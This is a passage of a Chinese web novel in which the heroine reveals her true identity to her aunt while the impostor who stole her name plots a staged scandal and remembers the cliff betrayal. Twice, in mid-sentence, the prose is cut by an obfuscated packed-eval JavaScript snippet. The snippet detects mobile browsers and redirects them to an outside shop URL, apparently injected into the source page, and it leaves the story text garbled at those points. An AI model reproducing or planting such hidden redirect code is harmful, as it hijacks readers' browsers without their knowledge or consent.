“二则，请夫人看在孩子无辜的份上，日后替我好好照顾韵儿。她是个好孩子，待她长大，定会替我这不孝儿媳，补上未尽的孝心。我……我死不足惜，” 说着，泪啪嗒掉下，“只可怜韵儿，小小年纪就要没了母亲。” “什么死不死的！”柯大夫人微微责备的语气道，“年纪轻轻的，才哪儿到哪儿呢。” 梁夫人含泪道：“当初，要不是夫人好心收留，我早就死了。我这些年，在陈家安享的富贵日子，每一日都是赚了。我死不足惜，只怕给陈家带来祸患。” *** 柯大夫人看着她道：“我当年便同你说过，进了陈府，你就是我陈府的人。后来，你与震言成亲，有了韵儿，我们便成了血脉相连的一家人，休戚相关，荣辱与共。” “可……”梁夫人看着她的脸色，皱眉道，“只要我的身份被揭破，陈府就……定会遭我拖累。别人不会管我是不是无辜受害，只会嘲笑我……是不洁之妇！到时候，夫君还怎么在官场立足，夫人你和陈家上下，要怎么见人！” 柯大夫人的眉头皱得更深了，叹道：“这事确实难。可世间的偏见，咱们是改不了的。这世人的嘴也是缝不上的，咱们能怎么办呢？” 梁夫人被问住了。 “你无辜受害，便不该跪着，哭天抹泪，甚至寻死觅活。”柯大夫人的目光扫着她，“没犯错，就挺直了脊梁。” 梁夫人抬眼看了看她，一时竟拿不准，这仿佛有的弦外之音。可这确实也是柯大夫人会说的话。 她擦了擦眼泪，看着柯大夫人，试探地道：“最近，我常梦到婉章妹妹。” 这话一说，柯大夫人的目光突地一震。 “这些年，我心下一直不安。”梁夫人仔细捕捉着她脸上的每一丝变化，继续道，“我忍不住想，婉章妹妹她地下有知，会不会怪我，抢了她的名，过上了原该她过的好日子，有这么好的夫君，这么好的婆母。我这个本该死的人活了下来，受了她这么些好处，可怜她一个人死在那荒郊野外……” 柯大夫人微微扭开了脸，似是不想听下去。 梁夫人突然道：“婉章妹妹她，会不会没死？” 柯大夫人猛地一睁眼，惊道：“没死？我们当年到处都找过了。” “可死不见尸啊！这世间之事哪有一定的？说不定被什么人给救了。”梁夫人皱眉道，“也不知为何，我近来老是有这种莫名的念头。总觉得，妹妹她回来了。” “可也……活不见人！”柯大夫人看着她，边想边道，“你说，她活下来了，怎会这么多年都不来找我？” 梁夫人道：“若是失去记忆，或是为人所虏，自己没办法回来呢？” “你这说得……”柯大夫人抬手抚着心口，“我心里都乱了。” 刘嬷嬷忙道：“少夫人，大夫人本就病了，不能这样牵动心绪。” “是我的不是！”梁夫人做出一脸懊悔道，“都怪我一时忘情！” 可也不耽误她继续道，“我就是怕，婉章妹妹还活着，找回来，却见我鸠占鹊巢。她不明就里，只怕不愿现身相认呢，心里也一定恨毒了我……” 柯大夫人道：“她不是那样的孩子，绝对不会不搞清楚就瞎冤枉人。” “是，妹妹她打小就明事理，不过，”梁夫人话锋一转，“这橘生淮南则为橘，生淮北则为枳。即便她还活着，经历过那样的事，在外面这么些年，日子想必不会好过，也不知都跟些什么人，就算回得来……只怕也不是以前那个婉章妹妹了。” 柯大夫人点了点头，唏嘘道：“是啊！怎么都不会是以前的那个她了。” 梁夫人和孙嬷嬷对视一眼，在柯大夫人心中埋下怀疑的种子就够了。 只怕说太多反而引人生疑，梁夫人忙又回转道：“婉章妹妹若真的侥幸得活，不管她如今是什么样，我们都要带她回家。就算她跟了歹人，走岔了路，我们也要救她，婆母，你说是不是？” 柯大夫人抬手扶着额头，难受地道：“你这孩子，说得我头都大了。” “是我的错，婆母你莫多想，一切都有我呢，你好生休息便是。我这便先告退了！” 梁夫人带着孙嬷嬷退出了去，关上了房门。 走出几步，孙嬷嬷往后瞥了一眼道：“大夫人一向是个没心机的，我瞧着，应该是不知情的？那位也知道她的性子，但凡知情，一定藏不住，想必也不敢同她说。” *** 屋内，看梁夫人一行的身影远去，柯大夫人从额上放下手来，忙抓着刘嬷嬷问：“我刚才……没漏破绽吧？” “没有。”刘嬷嬷道，“表小姐说的对，夫人只说实话，就不会露馅。” 柯大夫人这才松了口气：“莫坏了婉婉的事就好。” 在衙门的后堂，柯大夫人将堂上种种听了个一清二楚。 等外面的人都散了，一旁的雨歇道：“夫人稍等片刻，我家主人这就来。” 不过片刻，就见一个熟悉的人影出现。 “你不是……那卢府的孟小姐？你怎会在此？”柯大夫人看了看一旁的雨歇，“是你……” 孟珂没应声，一直走到柯大夫人跟前，郑重一礼。 柯大夫人更奇怪了，忙上去扶她：“怎的行如此大礼？” 孟珂这才抬起眼看着她，轻轻叫了声：“姨母。” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999208|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声很轻，一叫出，她的眼眶顿时便湿润了。 柯大夫人一愣，只怕自己听错了，确认道：“你……你叫我什么？” “姨母！”孟珂笑着含泪道，“是我啊！你的婉婉！” “婉……婉婉？”柯大夫人上下打量着她，“你真的是婉婉？” 但不知为何，她就是信她。从上次赏梅见她，就没来由地喜欢她。虽然她同儿媳闹了那么一场，心里却不知为何并没有丝毫不悦。这一刻，一切都说得通了！ 柯大夫人不自觉流下泪来，抬手擦了擦：“可你怎么会……” 孟珂拿出一只耳坠，递给柯大夫人：“这是母亲出嫁之时，您送她的，我自小便喜欢，总闹着要母亲送我。你们那时候便笑话我，说等我出嫁的时候，姨母必定送一对更好予我。” “直到我十二岁那年，母亲说，我不再是小姑娘了，相信我可以收好这重要之物，便将这对耳坠给我了。” “是是是！”柯大夫人点着头，眼泪一串串落下，身子不由自主地兴奋得哆嗦起来，“是我的婉婉。” 她两手揽在孟珂肩头：“可你怎么变成了这样，让姨母都不认得你了？你到底上哪儿去了？到底经历了什么？你可过得好？可有人欺负你？……” 一时间，千言万语涌了上来，堵在喉头。 孟珂的眼前也模糊了，忙抬手擦了擦，拉着柯大夫人坐了下来：“这事说来话长！咱们坐下慢慢说。” 孟珂删繁就简，说了自己如何投奔卢府，如何变成如今的模样，不过没提复仇之事，只说身体养好了，回来看看，找寻亲人。 孟珂问：“姨母，你看堂上那人，可是你认识的模样？” 柯大夫人怔怔地摇了摇头：“那些人说的可都是真的？” 孟珂点了点头：“不只是霍家案，我梁家大火，还有我的坠崖……背后都有她。” 柯大夫人惊得说不出话来，半晌才道：“她……我就总觉得，这孩子怎么都没法亲近，总是隔着什么似的。只以为不是亲人，终究有隔阂，怎么也没想到是藏了这么多……恶事！” 她突然意识到什么，揪着心口道，“这么说，我这些年都在养虎为患。若不是她，我早就找到你了，你便不必在外流落，吃这么多苦！” “卢家待我很好，姨母不必自责。”孟珂握住她的手，“过去的事都不重要了，重要的是现在，还有以后。” “对对对！”柯大夫人头如捣蒜，“现在怎么办，如今震言与她成婚多载……还有韵儿怎么办？陈府怎么办？都怪我，当年一时心软留下了她，中了她的奸计，让你没法回来寻我！” *** 那日，听说有个半大姑娘来求见，有要事禀报。柯大夫人疑惑地见了她。 谁料，一见面，这姑娘便说出震惊她的大事：亲侄女梁婉章遭遇了盗匪，被追赶坠崖，梁家也遭灭顶之灾。 骤然接到这两个突如其来的噩耗，柯大夫人一时急痛攻心，没反应过来，呆怔在那儿。 见柯大夫人久不能言，霍茹蕙便向刘嬷嬷告辞要走。 刘嬷嬷从旁扯了扯，柯大夫人这才勉强回过神来，讷讷地看着霍茹蕙：“什么？你要走？” 她上下一打量，见那孩子一身的泥，衣服也破了，看着像是在山间摔滚多次，头发虽刻意整理过，努力想保持着闺秀的体面，但发丝中明显夹着拍不掉的草和灰。 这么个半大孩子，侥幸从盗匪手下活下来，回梁家报信不成，又好心前来陈府报信。 柯大夫人不由又想到那活不见人死不见尸的侄女，一时不忍：“瞧瞧你这一身的伤！” 她看向外面的天色，替那小姑娘做了决定，“不能走！你这么个姑娘家，夜里一个人能上哪里去？” 刘嬷嬷也道：“姑娘你奔波这么久，想必也不知几顿饭没吃上了。” “无妨，天大地大，总能找到个栖身之处。” 霍茹蕙说着，便起身要走，肚子却不合时宜地响了。她骤然红了脸，道：“府上如今有事，夫人大恸，我不该再扰，这就走了。” 柯大夫人吩咐道：“备饭！” 霍茹蕙摸了摸肚子，想了想，才不好意思道：“那……便谢过夫人，我就歇一夜，明日就走。” 112. 弄鬼 第二日，霍茹蕙果真早早起来便要走，底下人拦她不住，只得请示夫人。 柯大夫人见她执意要走，便命人多备了些银两给她。她也死活不要，最后只取了一锭，结果才走出院门口，就在众目睽睽之下晕倒在地。 如今回想起来，柯大夫人依然有些不敢相信：“分明是我做主留下了她，如今却说，她是故意来陈府……” 孟珂点了点头：“她这是以退为进，晕倒只怕是装的。姨母，她并未隐瞒身份，留下之后是如何……” “如何顶了你的身份？”柯大夫人道，“她醒来之后才说，她不可在此久留，是怕那些盗匪还在找她。她是他们杀人夺财的人证，只怕非要灭她的口不可，怕给我府上也招上麻烦。” “我瞧她已经是个孤女，又感激她冒死前来送信，有情有义有胆识，便想留她在陈府，我陈府又不少她一口吃的。” 可霍茹蕙一直道，那些人即便不敢上门，知道她在府上，只怕也是要生事的。只有日日做贼的，没有日日防贼的。让她一个人走，隐姓埋名，让谁也找不到的好。 霍茹蕙道：“再说了，我这么个孤女，非亲非故，非奴非仆，留在府上没名没分的，终究也不是个事。” “你想隐姓埋名，不让人找到……”柯大夫人说着说着，想到了什么，目中闪了一下，随即又黯了下去。 半晌，她轻叹了一声，抬眸看着霍茹蕙，仿佛看到了自己已然不在的侄女，噙着泪艰难道：“孩子，今日起，这世上便再没什么霍家小姐，她在路上死了，让野兽叼走了。我妹妹令虞既已收你为义女，那你就是她的女儿。从此，在陈府，你就是梁家女儿，是我的侄女。” “您的意思是……”霍茹蕙睁着一双无辜的大眼睛，不敢相信地道，“让我顶了婉章妹妹的身份？” 柯大夫人一怔，她想的是，让她自称是娘家侄女，并没想过让她顶婉婉的身份，可她这么一说，倒是直接顶了身份更便宜行事。如此，霍茹蕙能有个清楚的出身，而不是什么不明不白的侄女，日后议亲也更好些。 这么一想，她看着那个孩子脸上的期待，竟不忍教她失望，勉强地点了点头，顺水推舟地应了。 只是，她那时候没想过霍茹蕙并不只是在陈府住了下来，也不只是顶了侄女的身份，还一步步地继承了她的家财，乃至她的姻缘。 “一步步地，我也不知道怎么就成今日这样了。”柯大夫人回忆起来，自己也是糊里糊涂的，“我竟是让她，一个孩子给算计了？” “姨母无需自责，”孟珂握着她的手，“谁能想到一个十三岁的小姑娘，会心机如此深重？没人会防备她的。而她背后更是站了那些处心积虑之人，让人防不胜防。” 她一直不知道霍茹蕙进府之后是怎么做的，如今一一听来，再想到当年那个傻傻的自己，也不得不叹一句，霍茹蕙，你可真是厉害啊。 真正厉害的谎言，往往是真假掺半的。能证实的说真的，无法求证的说假的，当真是无虞。她若真死了，霍茹蕙今生当真就万全无虞了。 “婉婉，你说，如今怎么办才好？”柯大夫人心乱如麻，“陈府，尤其是震言，怎么都要被她所累。” 孟珂拍拍她的手，笑着宽慰道：“姨母别担心，一切还有得救。你相信我，一切交给我便是。” *** 梁夫人回了房，换了衣衫，坐在镜子前闭目养神。 孙嬷嬷站在身后，给她按着头，从镜子里看她：“咱们给柯大夫人心里种下怀疑，离间她和那孟珂，也只能拉住陈府，拉不住其他人。夫人，解决这事，可不能指望陈府。” 梁夫人闭眼不答。 孙嬷嬷又道，“九爷他认了那些罪，未让他们得逞，可咱们也没占上风。再说，周冶现在揪着的是霍家案，九爷也使不上大力，夫人可想好了怎么应对？” 梁夫人终于开口：“刘宝证明不了他爹无罪，没证人、没证据，要怎么推翻？梁云钦的指认，最多也只能指认我是霍茹蕙，却不能证明当初是诬告。” “当年作证的霍家仆人已经死了，死无对证。那个什么劳什子‘账本’也早销毁了。就算没销毁，让他们推翻，也正好说明不是逼良为娼，而是妥妥的强/奸，其罪更当诛。” “他周冶可以说，当年的证据不足，却不能证明当年的事不存在。那便不能真正翻案，甚至坐实我的诬告之罪。” “还想再治我不孝、不睦之罪，更没那么容易！” 梁夫人冷笑道，“有道是‘父不慈则子不孝，兄不友则弟不恭，夫不义则妇不顺矣。’只要霍家的罪洗不清，便别想治我罪。” “话虽如此，我这心里还是不踏实。”孙嬷嬷手上停了，“九爷已经折进去了，可就只剩咋俩了，咱们要人没人，以后可…..” 她看着梁夫人的脸色，试探道，“那位如今正在金阳城。” 见她眉头微微皱了起来，却也没阻拦，继续大着胆子道，“我知你轻易不想去招惹。不到万不得已的时候，我也不想你走那一步，但事到如今……咱们还是早做打算的好。” 见梁夫人还是不语，孙嬷嬷想了想，又道：“是我多嘴了！” 她看着梁夫人脸色，故意道，“真到了不得已的时候，大夫人看在孙女的份上，总要保住孙女的母亲。大人他也是个重情义的人，一定会念你们的夫妻情分，自会保你的。” “夫妻情分？”梁夫人面色终于动了，“还没出什么事呢，情分尚且这样，真到了那时候……” 她冷笑了一声，不说了。 她不相信他会帮自己，可也不愿接受他会就这么抛弃自己。 当初要对梁府动手的时候，她原本还有过一丝犹疑，一听让她事后去陈府，她立刻就应下了，想到能同陈万霆朝夕相处，就心生欢喜。 在陈府多年，她用尽心思，也没能把陈万霆拿下。后来还是借着酒后乱性，身怀有孕，让陈万霆娶了她，但他成亲后立马就外任好几年，回府的日子不多，却也有过些恩爱的日子。可不知为何，他后来又渐渐就疏远了她，只在外人面前装作恩爱，人后却相敬如冰。 她暗地里使了力，将他调回了金阳城，也才不过一年多。可这一年多以来，两人依旧是对外恩爱，实则冷漠，本想着来日方长，慢慢回暖，如今却…… “大人他……” 孙嬷嬷又要开口，便被梁夫人打断。 “行了！” 梁夫人从镜子里不悦地看了她一眼，讥讽地笑道，“最关键的时候，人选择的，永远只会是自己，也理应如此。” 看她的模样，孙嬷嬷把要说的话都咽了下去，却听她道：“更衣吧，咱们出去，求见那位。” 孙嬷嬷立刻高兴了起来：“好嘞！你穿哪件？” “随便。”梁夫人不情愿地道。 *** 霍茹蕙出去了一趟回来，竟见陈万霆的书房亮着灯，不由奇道：“少爷不是上京去了，怎会在府上？赶紧去看看怎么回事。” 孙嬷嬷将陈万霆身边下人召来问，回说，有些事耽搁，过几日再去。 “少爷他……”孙嬷嬷替梁夫人问道，“没什么异常吧？” 下人奇怪道：“没有啊，小的瞧着，回来陪韵小姐玩得挺高兴的。” 两人这才放了心，照旧大方地赏了银子，放人去了，伺候梁夫人更衣入沐。 一阵扑翅声响起，窗畔随即响起咕噜噜的鸽叫。孙嬷嬷解下腿上的密信，递给梁夫人。 梁夫人一看，有些意外：“她倒真来了。” “夫人怎么打算？”孙嬷嬷问。 窗台上的鸽子叽叽咕咕地叫着，梁夫人转头去看，不由注意到窗外的树已经一片绿云。 “上巳节又要到了。”她笑道。 三月三，上巳节，正是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999209|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游园踏春，行笄礼的日子。金阳城的千绿园，是整个明州行笄礼最受欢迎的地方。那时候，她和梁婉章也没几年便要及笄，自己的笄礼虽不能来金阳城，但也想来看看此地盛况。 等到她及笄的时候，已身在陈府，同梁婉章已是“阴阳相隔”。 柯大夫人虽说要给她在千绿园办，但她知道，那个日子怎么都会让柯大夫人想到自己的亲侄女，便扮演着乖觉的角色，婉言辞了。 孙嬷嬷见她愣了神，问道：“夫人？打算如何做，咱们要备着了。” 梁夫人回过神来，将手中密信塞进水里涮了涮，看着那墨色氤开，才揉成一团扔了，随后看向陈万霆书房的方向，露出了一丝诡笑。 她勾勾手指，将孙嬷嬷唤过来，耳语一番。 *** 上巳节这日，千绿园。 梁夫人带着孙嬷嬷，顺着湖岸走着。 孙嬷嬷指着前面的桥：“过了桥，就是湖心阁。夫人你瞧，这湖心阁三面临水，一桥相连，但凡有人走近，都看得见，最合适说话不过。我早让人在阁内候着，不许人打扰。” “是个说话的好地方。” 梁夫人转过眼来，蓦地顿住了脚步，“她怎么来了？” 在她的目光落处，孙嬷嬷看见个一身华贵的妇人，一眼便认了出来， 那正是吏部侍郎史兆麟的夫人。 不过，比起史夫人这个头衔，她更广为人知的称呼是杜二小姐——辅政五大臣之一的尚书令杜善瀛之女。老丈人这次往上走了一大步，史兆麟的尚书之位，想必也说话就得了。 孙嬷嬷道：“前几日是这杜家姑母的生辰，办了好大一场，城里这几日都在说呢。她应该是来贺寿的。” “倒是我忘了。”梁夫人道，史兆麟当初便是在明州任上结识的这杜二小姐。 孙嬷嬷道：“无妨，园子这么大，咱们井水不犯河水。” “叫人守在桥上，莫叫不相干的人来打扰。”梁夫人吐出一口闷气，提步继续走。 主仆一行进了湖心阁，孙嬷嬷便吩咐人将窗户一一打开。梁夫人却拦道：“关上吧！本就是要弄鬼，还生怕别人看不见吗。再让有些不相干的人看见，把人引过来就不便了。反正有人在桥上守着，别招事。” 孙嬷嬷一想也是，依言关了，站在窗口，从缝中远望。 “可都交代好了?”梁夫人问。 “都交代好了，少爷一到，丫头就会给我们信号，再领他到门口。待话说得差不多了，我只需摇一扇窗户，岸边等候的人便会把人都招过来，外头的丫头会适时带人闯进来，夫人到时当着众人的面哭诉便是。” 梁夫人点点头。她本是以柯大夫人的名义约孟珂来金阳城，没想到陈万霆竟没上京，他既然在，原本的离间计划主角换成他，还能多一出捉奸，更好了。 “离间他们表兄妹在前，再捉奸在后，”梁夫人笑，“今日，我要让她里里外外都不是人，浑身是嘴也说不清。最后，这带人捉奸的事还要扣到她头上，让陈家彻底无法相信这个地狱里回来的表妹。你安排的人没问题吧？” 孙嬷嬷：“没问题！到时候会故意露馅，被人抓住，再咬死了是受她的指使，就为了被戳穿面皮后可以逼陈家站在她那头。而夫人你只是刚好撞上奸情，还让整个金阳城的女眷都看了笑话，最是委屈。所有女眷都会站在夫人你这边。” 梁夫人道：“陈万霆在升迁的当口出了这么个奸情，而我又在现场。到底是奸情，还是误会，都由着我一张口说。捏住了陈家这个寸口，他们想让我站出来替他们澄清，那就得替我澄清在先。” 孙嬷嬷道：“若撕破了脸，陈府即便说什么不利于你的话，那也都是为了让你这个原配下堂而制造的污蔑。” 两人相视一眼，满意地一笑。 孙嬷嬷往外看了一眼，急忙转身对梁夫人道：“人来了！” 113. 悬崖 孟珂进了湖心阁，便听得脚步声自楼梯上响起。 一抬眼，便见一个身影搭着扶手迤逦而下，未等露出脸来，便笑道：“妹妹来了。” 孟珂意外地一顿，上下打量了来人一遍，才冷冷地笑道：“夫人竟然在此？” 梁夫人站定了，从楼梯上俯视着她笑道：“妹妹这么快就生分了，都改叫夫人，不叫姐姐了。” 孟珂轻笑一声：“是我的错，确实不该叫夫人，应该叫霍小姐？毕竟，陈家要娶的儿媳可不是霍家的，这婚事……说来其实做不得数。” 梁夫人的笑脸当即阴了下去，冷笑道：“那我又该叫你什么？孟家妹妹，还是梁家妹妹？” 孟珂笑道：“我不知你在说什么。” “还装呢。”梁夫人笑着往下继续走，得意地道，“没错！陈家要的是你！可那又怎么样？在陈家长大的是我，跟陈万霆成亲的是我，生下他唯一孩子的，也是我！” “没错，都是姐姐你。”孟珂点点头，笑道，“不过，这与我有什么相干？” 梁夫人笑：“都这时候了，妹妹还不承认。” 孟珂没应声，扫了扫阁内，又转头往外看去。 梁夫人跟着她的目光走了一圈，故意夸张地看了看，笑问：“妹妹等谁？你的万霆哥哥？” “说什么呢，我不过是看这边景致好，幽静无人，过来躲清静罢了。不想遇到了姐姐。”孟珂敷衍地行了礼道，“既如此，我便不扰姐姐清静了。” “妹妹莫急！” 梁夫人往外看了一眼道，“你的万霆哥哥只是被我的人绊住了，稍后便到。先让我们姐妹在此说会儿话，待会儿，我一定留时间给你们，好好说话！” “姐姐要说的就是这些让人听不懂的话？若无他事，恕不奉陪了。” 孟珂说完，转身便要走。 “别急啊！”梁夫人拦在了她面前，“我们姐妹分别多年，姐姐也不过是想同你叙叙旧罢了。” “叙旧？我们有什么旧？”孟珂顿住了脚步，转头看她，“我们不过相识数月，可新着呢。” “孟珂是新，可梁婉章却旧。” 梁夫人看向外面，看着湖边那些洋溢着喜悦的稚嫩面庞，感慨道，“妹妹可还记得，当年，我们也曾像她们一样，憧憬着长大。我们可是约好了，要一起来这千绿园一睹盛况，要在上巳节一起行笄礼，要让我们的孩子继续当手帕交，要生生世世做姐妹的。” “姐妹？”孟珂的目光从湖边收回来，转过身来看着她，讥笑道，“有杀人全家，推下悬崖，悉数抢走人身份、家财和未婚夫的姐妹？” “你终于承认了？不装了？”梁夫人大笑了起来，“这就对了嘛！” “没错，是我！”孟珂看着她，目光凛冽，“我就是梁婉章！” 霍茹蕙被她看得，脊梁骨微微震颤了一下。 *** “梁婉章啊，梁婉章。” 她躲开了那逼人的目光，咂摸着这个名字，慢步绕着她走了一圈，“你到底是怎么变成这副模样的？为了不被认出，我也算下过苦功了，可跟你一比，实在是望尘莫及。这才蒙得我好苦！” “妹妹这不是替姐姐考虑吗？妹妹回来，要是让姐姐的身份暴露，不就做不了陈家夫人，只能回去……做曾府的夫人了？” 孟珂顿住了，笑了笑，才道，“不对，邵夫人还在呢，夫人且轮不到你，只能做霍姨娘！” “你！”梁夫人怒道。 她吐出一口恶气，随即又笑了，“霍姨娘也好，梁夫人也罢，都是我！都是我霍茹蕙！而你，梁婉章，一个都没捞着。” “霍家小姐也好，梁家小姐也罢，也都是我！你，梁婉章，一个都抓不住！” 孟珂拍起手来，笑道：“是，你厉害。你一女事二夫，你许给儿子却委身公公。这普天之下，的确没什么人能比你厉害了。” 霍茹蕙惊得呆在原地，阴晴变换一阵，随即笑得前仰后合：“多年不见，你不只人脱胎换骨，就连这嘴皮子也换了一副。” “不过，妹妹你不是一边勾搭着卢府那老的和小的，一边还勾着个周冶？甚至扮成乡野村姑，日日在衙门内院厮混！说起来，姐姐可不如你！” “没错，我是占了你的位置，可你不也是乘机飞上了卢家的枝头，摇身一变，成了那京城里的凤凰了？” 霍茹蕙歪着头，扫了她一眼，道，“说来你还得感谢我。要不是我，你哪有今日的一切？是姐姐我成就了你。” “那......妹妹谢过谢姐姐成全，”孟珂笑道，“如今就换妹妹我，来成全成全你！我就不用姐姐说谢了。” “咱们便各凭本事了！”霍茹蕙又想起了心头最大的梗，“不过，我倒是真想不明白，你到底是怎么活下来的？” 孟珂走近了几步，凑在她脸前，直视着她道：“那真要感谢姐姐你把我推下去。若是倒在盗匪刀下，我可能还真活不下来。” *** 那日，天未亮，她就被奶娘带着上路了。走了一程，天渐渐亮了，一行人停了下来，人吃马喂，饮水休息。 梁婉章忽然听到空阔的山间远远地传来一声，“妹妹！” 再一听，又什么都没有。 她还以为是自己听错了。可不多时，又传来几声，声音听着越来越近。虽带着喘息，让风一吹也有些飘忽，但像是霍茹蕙的声音。她忙循声跑了过去，果然见霍茹蕙远远地朝她跑来。 她意外地朝她跑了过去：“姐姐，你怎么来了？” 再往后一看，她竟一个人也没带，“你怎么一个人出来的，也没个人陪着？” “我一个人悄悄跑出来的！”霍茹蕙气喘吁吁地问，“妹妹，你为何不与我说一声就走了？” 梁婉章道：“母亲催得急，我看你还在睡觉，不想吵醒你，看了一眼便走了，想着一到姨母家就给你写信。你怎么追出来这么远！” “妹妹！”霍茹蕙突然抓着她的手，恳切地道，“你带我一起走吧！我不想再呆在绥陵了！” 那些日子，梁婉章从下人之口听了些语焉不详的议论，但并不知道具体发生了什么。 这么大的事，梁婉章不敢擅自作主，迟疑道，“我过些日子就回来了，咱们到时再从长计议？” “我一刻也不想等了，我想走得远远的，到一个谁也不认识的地方。” “谁也不认识你的地方？可是为什么啊？”梁婉章本不想问她不想说的事，可这么大的事不问也不行了。 她又替霍茹蕙考虑道，“虽说你家人都不在了，但家还在，我和曾家哥哥也还在。你要是走了，就什么都没了……去别的地方，人生地不熟，岂不是更难？” “你就别问了！”霍茹蕙扭头道，“我就是想走。我想离开。离开这里，就没人认识我，就再也没人指指点点，没人知道……我的那些事了。” “到底……是什么事？”梁婉章试探着道。 “我求求你，就别问了！”霍茹蕙甩开她的手，转身走开了去。 “好，我不问了。” 梁婉章想了想，才道，“不然这样，我派人回家禀明爹娘，就说我带你到姨母家住些日子，散散心。姨母是极好的人，姨母家的万霆哥哥，你也是见过的。我们也可多呆些日子，等你什么时候想回来了，再一起回来。” 可霍茹蕙没应声，梁婉章问：“怎么，你不想去？” “不，”霍茹蕙摇摇头，又点点头，“我想去。不必那么折腾，我走的时候留了书信，说了来找你，不必派人回去，来回耽搁时候了。” 陷阱就在前方等着，怎容她生变。 见她死活不愿回去，梁婉章也不放心让她独自回去，若一气之下直接就走了，甚至想不开，还不知要出什么事。 她只好应了，将霍茹蕙带上，继续赶路。 一行人走了不多时，霍茹蕙便说肚子疼，要方便，便又停了下来。 等梁婉章陪着她进了树林，盗匪便从林中窜出，合围而上。梁家仆从一个个倒在了血泊之中。 等两人拉着手从林中出来，就见奶娘尧嬷嬷跑来，拉着她们就往密林里没命似地跑。 三人不知跑出去多远，跑着跑着，霍茹蕙一脚踩进了猎人的陷阱，登时就陷下去了。 嬷嬷冷不丁被她一拉，也绊倒在了土坑边。她摔下的一瞬，一把将梁婉章推了开去。可那一绊倒，再一使力，她便失了平衡，人往下一陷，便掉了进去，扎在了坑壁和坑底的尖桩上。 霍茹蕙身子轻，反而被尧嬷嬷掉下去的力给翘了起来，伏在盖陷阱的枝叶上，摇摇欲坠。 尧嬷嬷见状，忍痛在下面托，梁婉章趴在坑边拉，两人合力，好歹把霍茹蕙给弄了出去。可尧嬷嬷也使尽了最后的力气，往下一软，只听得闷哼一声，随即没了动静。 “奶娘！” “尧嬷嬷！嬷嬷！” 两人趴在坑边再怎么叫，都再没了回音。 霍茹蕙急急地拉起梁婉章：“走！咱们快走，人追上来就跑不掉了。嬷嬷就算没死，我们也救不上来的。” 梁婉章道：“我们可以去叫人！” “先逃了命再去叫吧！”霍茹蕙拽着她，“没时间了，你家下人挡不住的！” 梁婉章点点头，忙手脚并用地爬了起来，擦了擦泪，边跑边对着陷阱道：“嬷嬷你等着，我们一定回来救你！” 眼见着追兵要至，两人一路跑，一路躲，一路滑跤，被荆棘勾破了衣服，让荒草乱枝划伤了脸，没命地跑了不知多久，穿出一片荒草，见前方陡然一亮。 梁婉章的脸当即凝固了——方才霍茹蕙拉着她，她则心系奶娘，没头没脑地跟着她跑，竟慌不择路地跑回来了。 看见去而复返的两人，盗匪相视一 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醒前的一瞬，她一时不知道自己是谁，身在哪里，在干什么。 身体的感觉很快恢复，她才反应过来，那嘈杂声竟是浅滩上的水声潺潺。自己浑身湿透，倒伏在河滩上，还手脚并用地紧紧抱着一截枯树干。 她这才想起，自己从崖上掉了下来。 下落的时候，看见崖壁上旁逸斜出的树，她奋力扑了上去，可惜没能抱上去，但好歹被树枝挂了挂，减缓了下坠之势。 见有用，她就那么一路落，一路扑，在崖壁、崖树上被接连撞得骨头都要碎了，但好歹减缓了坠势，最后掉入了山下水潭里。 好在，她水性好，变换身形如鱼入水，没被拍死在水面上。 在她脱力晕过去的最后一刻，还捞过了水面上一根被她砸下来的枯树干，这才没被淹死，而是随水漂流而下，到了此处浅滩。 这时，天已经擦黑了，四周安静得吓人。 她也不知伤着了哪里，全身都在疼，好不容易忍着剧痛挣扎着坐起来，在周围看了一圈，什么人都没有，远处不时传来野兽嘶吼，近处则回响着不知名的虫唱。 她试探着低声叫了叫：“姐姐？” 没反应。她的声音放大了些，“姐姐？” 还是没反应。她抬眼看了看陡峭的山壁，黑乎乎的什么也看不见。 那些盗匪不会放过她，只怕什么都来不及了。她原地颓然坐了半晌，又突然想起了什么，惊道：“奶娘！奶娘还在陷阱里！” 她也顾不得疼了，找了根树枝撑着，一步步朝山上走去。 不知到底走了多久，怎么走回那片树林，找到那个陷阱。她只记得，自己趴在坑边喊了好久，都已经放弃了，才听到坑底窸窣作响。 奶娘竟真的苏醒了过来，可她已经一句话都说不出来了，沙哑着嗓子咕哝了几声。 借着月光，梁婉章见她眼里又忧又急，努力想抬起手，像是想抓取什么，又像是指着什么，最后无力地垂了下去…… 梁婉章根本没办法把她拉出来，只能等回家找人来，又怕她遭野兽侵袭，只能找了些枯枝，拔了些长草重新把那陷阱盖上。 等盖好了，她又偷偷潜回了坠崖的地方，想找找霍茹蕙。可地上一个人都没有，连血迹也没有。她大着胆子，走到旁边家仆被围攻的地方，见尸体仍四处横陈着，她一个个找去，也没找见霍茹蕙。 为什么其他人都在，就她不见了？ 那一刻，梁婉章站在横尸之间，在那浓稠的血腥气和死亡的味道里，身子突然控制不住地抖了起来。 她站不住了，慢慢地蹲了下去。 如果她死了，为什么尸体不在？如果她还活着，为什么没找自己，也没回家找人来找自己…… 还有，自己到底是怎么摔下去的？那些盗匪明明还没走近。若说是救她，可她跌落的时候，看到那些盗匪探头来看，就在霍茹蕙的身边。 那些盗匪到底是什么人？霍茹蕙怎么会跟他们站在一起？ 是她要在这个地方停下…… 她怎么敢一个人追那么远出来的？ 